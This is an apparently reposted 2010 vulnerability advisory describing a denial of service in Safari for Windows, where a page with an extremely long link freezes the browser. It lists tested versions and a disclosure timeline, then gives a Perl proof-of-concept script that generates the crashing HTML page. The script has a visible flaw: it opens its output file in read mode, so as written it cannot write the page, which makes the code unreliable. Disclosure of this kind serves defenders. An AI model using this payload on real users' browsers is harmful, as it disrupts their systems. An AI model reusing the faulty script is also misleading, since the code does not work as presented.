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Safari for windows Long link DoS
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来源：http://lostmon.blogspot.com 作者：Lostmon 发布时间：2010-08-16
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Safari for windows Long link DoS
Vendor URL:http://www.apple.com/safari/
Advisore:http://lostmon.blogspot.com/2010/08/safari-for-windows-long-link-dos.html
Vendor notified:Yes exploit available: YES
Category : remote DoS
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Safari is prone vulnerable to Dos with a very long Link...
This issue is exploitable via web links like <a href="very long URL">
click here</a> or similar vectors. Safari fails to render the link
and it turn Frozen resulting in a Denial of service condition.
#################
Versions Tested
#################
I have tested this issue in win xp sp3 and a windows 7 fully pached.
Win XP sp3:
Safari 5.0.X vulnerable
Safari 4.xx vulnerable
windows 7 Ultimate:
Safari 5.0.X vulnerable
Safari 4.xx vulnerable
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References
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Discovered: 29-07-2010
vendor notify:31-07-2010
Vendor Response:
Vendor patch:
####################
Proof Of Concept
####################
#######################################################################
#!/usr/bin/perl
# safari Long "a href" Link DoS
# Author: Lostmon Lords Lostmon@gmail.com http://lostmon.blogspot.com
# Safari 5.0.1 ( 7533,17,8) and prior versions Long link DoS
# generate the file open it with safari wait a seconds
######################################################################
$archivo = $ARGV[0];
if(!defined($archivo))
{
print "Usage: $0 <archivo.html>\n";
}
$cabecera = "<html>" . "\n";
$payload = "<a href=\"about:neterror?e=connectionFailure&c=" . "/" x
1028135 . "\">click here if you can :)</a>" . "\n";
$fin = "</html>";
$datos = $cabecera . $payload . $fin;
open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);
exit;
################## EOF ######################
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Related Links
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vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776
###################### Ђnd #############################
Thnx to Phreak for support and let me undestanding the nature of this bug
thnx to jajoni for test it in windows 7 X64 bits version.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
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